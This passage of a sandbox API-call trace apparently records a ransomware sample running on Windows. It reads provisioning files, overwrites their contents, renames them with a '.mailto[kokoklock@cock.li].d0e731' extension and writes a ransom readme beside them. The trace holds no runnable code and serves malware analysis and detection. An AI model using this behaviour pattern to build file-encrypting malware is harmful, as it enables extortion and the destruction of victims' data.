Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.419] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f0 [0085.420] WriteFile (in: hFile=0x5f0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2d93f784, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2d93f784*=0x481, lpOverlapped=0x0) returned 1 [0085.421] CloseHandle (hObject=0x5f0) returned 1 [0085.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0085.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482810) returned 1 [0085.421] RtlExitUserThread (Status=0x1) Thread: id = 1306 os_tid = 0x11b4 [0085.394] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml")) returned 0x20 [0085.394] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml", dwFileAttributes=0x20) returned 1 [0085.395] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.395] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2d9bff24 | out: lpFileSize=0x2d9bff24*=360) returned 1 [0085.395] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.395] ReadFile (in: hFile=0x7c4, lpBuffer=0x2d9bfef8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x2d9bfef8*, lpNumberOfBytesRead=0x2d9bfef4*=0x4, lpOverlapped=0x0) returned 1 [0085.396] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0085.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0085.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0085.396] NtQuerySystemTime (in: CurrentTime=0x2d9bfed0 | out: CurrentTime=0x2d9bfed0*=132121176432891303) returned 0x0 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x2519f4e5 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x682145bd [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x261aa3cb [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xc618b38c [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x1833c100 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xe3019f0c [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x88d97380 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x52714e31 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xee30d1b5 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xcfc79f12 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xbef1ac19 [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x5fb6638a [0085.396] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xf9d9fe2a [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xf2bc41ad [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x399079a4 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x2fd4ae0f [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x7c83ae62 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xd1f74be5 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x2f91d9d1 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x1f4c5f13 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x4e6c78c7 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xc97d9482 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xce9cf06f [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x3d64aed3 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x4af8dac8 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x66a35fee [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x5d5389be [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xf114c57c [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x8c7cf894 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xc5837307 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0xfd154124 [0085.397] RtlRandom (in: Seed=0x2d9bfedc | out: Seed=0x2d9bfedc) returned 0x2d1524f7 [0085.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0085.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.494] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x2d9bfed0, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2d9bfed0*=0x168, lpOverlapped=0x0) returned 1 [0085.495] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9bfe98 | out: lpNewFilePointer=0x0) returned 1 [0085.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x2d9bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2d9bfecc*=0x168, lpOverlapped=0x0) returned 1 [0085.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d9bfec8, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2d9bfec8*=0x20, lpOverlapped=0x0) returned 1 [0085.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.495] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2d9bfef4*=0x8, lpOverlapped=0x0) returned 1 [0085.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x2d9bff0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x2d9bff0c*, lpNumberOfBytesWritten=0x2d9bfef4*=0x4, lpOverlapped=0x0) returned 1 [0085.495] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d9bfef4*=0x4, lpOverlapped=0x0) returned 1 [0085.496] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d9bfef4*=0x6c, lpOverlapped=0x0) returned 1 [0085.496] WriteFile (in: hFile=0x7c4, lpBuffer=0x342cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x342cf88*, lpNumberOfBytesWritten=0x2d9bfef4*=0x20, lpOverlapped=0x0) returned 1 [0085.496] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d9bfef4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d9bfef4*=0x4, lpOverlapped=0x0) returned 1 [0085.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0085.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd6f0) returned 1 [0085.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.496] CloseHandle (hObject=0x7c4) returned 1 [0085.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x132) returned 0x3478010 [0085.496] wcscpy (in: _Dest=0x3478010, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" [0085.496] wcscat (in: _Dest=0x3478010, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" [0085.496] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478010) returned 1 [0085.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml", dwFileAttributes=0x20) returned 0 [0085.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a338 [0085.497] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0085.497] wcscat (in: _Dest=0x348a338, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.497] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.499] WriteFile (in: hFile=0x7c4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2d9bfef0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2d9bfef0*=0x481, lpOverlapped=0x0) returned 1 [0085.499] CloseHandle (hObject=0x7c4) returned 1 [0085.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0085.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482718) returned 1 [0085.500] RtlExitUserThread (Status=0x1) Thread: id = 1307 os_tid = 0x1200 [0085.501] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml")) returned 0x20 [0085.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml", dwFileAttributes=0x20) returned 1 [0085.501] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0085.501] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2da3fd7c | out: lpFileSize=0x2da3fd7c*=360) returned 1 [0085.501] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.501] ReadFile (in: hFile=0x7c4, lpBuffer=0x2da3fd50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x2da3fd50*, lpNumberOfBytesRead=0x2da3fd4c*=0x4, lpOverlapped=0x0) returned 1 [0085.502] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd6c8 [0085.502] NtQuerySystemTime (in: CurrentTime=0x2da3fd28 | out: CurrentTime=0x2da3fd28*=132121176433985979) returned 0x0 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x5e7d7d0f [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x1372e482 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x5f411555 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x44c6d78f [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x928eaee6 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x2812f18a [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xdca25236 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x397930e4 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x771f1a3a [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x8bc4b1c [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x27d1065c [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x462eda96 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x2d3afb97 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x904d22c3 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x2be388ee [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xcf68eba3 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xcfecc2b7 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x27442495 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x412b4326 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xe8998eb5 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x92fc7cbb [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xa4db95fd [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xe2387569 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x88b278be [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x4617103b [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x8e7517a1 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x21bf7b14 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0xf8068aae [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x71990b27 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x93f3b401 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x491270d4 [0085.503] RtlRandom (in: Seed=0x2da3fd34 | out: Seed=0x2da3fd34) returned 0x6b2c8322 [0085.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.515] ReadFile (in: hFile=0x7c4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x2da3fd28, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2da3fd28*=0x168, lpOverlapped=0x0) returned 1 [0085.515] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2da3fcf0 | out: lpNewFilePointer=0x0) returned 1 [0085.515] WriteFile (in: hFile=0x7c4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x2da3fd24, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2da3fd24*=0x168, lpOverlapped=0x0) returned 1 [0085.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8d0 [0085.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.515] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd8d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2da3fd20, lpOverlapped=0x0 | out: lpBuffer=0x55dd8d0*, lpNumberOfBytesWritten=0x2da3fd20*=0x20, lpOverlapped=0x0) returned 1 [0085.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8d0) returned 1 [0085.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.515] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dd858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x55dd858*, lpNumberOfBytesWritten=0x2da3fd4c*=0x8, lpOverlapped=0x0) returned 1 [0085.515] WriteFile (in: hFile=0x7c4, lpBuffer=0x2da3fd64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x2da3fd64*, lpNumberOfBytesWritten=0x2da3fd4c*=0x4, lpOverlapped=0x0) returned 1 [0085.515] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2da3fd4c*=0x4, lpOverlapped=0x0) returned 1 [0085.516] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2da3fd4c*=0x6c, lpOverlapped=0x0) returned 1 [0085.516] WriteFile (in: hFile=0x7c4, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2da3fd4c*=0x20, lpOverlapped=0x0) returned 1 [0085.516] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2da3fd4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2da3fd4c*=0x4, lpOverlapped=0x0) returned 1 [0085.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd6f0) returned 1 [0085.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.516] CloseHandle (hObject=0x7c4) returned 1 [0085.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x132) returned 0x3478010 [0085.516] wcscpy (in: _Dest=0x3478010, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" [0085.516] 